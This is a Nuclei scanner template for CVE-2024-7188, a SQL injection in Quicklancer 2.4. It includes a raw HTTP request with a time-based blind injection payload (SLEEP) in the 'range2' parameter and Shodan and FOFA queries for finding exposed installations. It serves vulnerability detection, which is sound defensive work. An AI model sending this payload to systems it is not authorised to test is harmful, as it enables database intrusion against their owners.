A SQL injection vulnerability exists in the Quicklancer 2.4, GET parameter 'range2', that has time-based blind SQL injection and a boolean-based blind SQL injection, which can be exploited remotely by unauthenticated attacker to execute arbitrary SQL queries in the database.
PoC代码[已公开]
id: CVE-2024-7188
info:
name: Bylancer Quicklancer 2.4 G - SQL Injection
author: s4e-io
severity: high
description: |
A SQL injection vulnerability exists in the Quicklancer 2.4, GET parameter 'range2', that has time-based blind SQL injection and a boolean-based blind SQL injection, which can be exploited remotely by unauthenticated attacker to execute arbitrary SQL queries in the database.
reference:
- https://cvefeed.io/vuln/detail/CVE-2024-7188
- https://github.com/bigb0x/CVEs/blob/main/quicklancer-2-4.md
- https://codecanyon.net/item/quicklancer-freelance-marketplace-php-script/39087135
- https://nvd.nist.gov/vuln/detail/CVE-2024-7188
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2024-7188
cwe-id: CWE-89
epss-score: 0.82082
epss-percentile: 0.99168
metadata:
verified: true
max-request: 1
vendor: bylancer
product: quicklancer
shodan-query: http.favicon.hash:1099370896
fofa-query: icon_hash="1099370896"
tags: time-based-sqli,cve,cve2024,sqli,quicklancer
http:
- raw:
- |
@timeout 30s
GET /listing?cat=6&filter=1&job-type=1&keywords=Mr.&location=1&order=desc&placeid=US&placetype=country&range1=1&range2=1)%20AND%20(SELECT%201864%20FROM%20(SELECT(SLEEP(6)))gOGh)%20AND%20(6900=6900&salary-type=1&sort=id&subcat HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "duration>=6"
- "status_code == 200"
- 'contains(content_type,"text/html")'
- 'contains_all(body,"og:site_name","og:locale","range2")'
condition: and
# digest: 4a0a0047304502204b63760e4b9d3707ebfe148e07469c2065793f936792e4bfb72466ffcad253b502210099ea717b45a8568fcea20c38d732ed59eaa2add81197d6007c62c91b90702e61:922c64590222798bb761d5b6d8e72950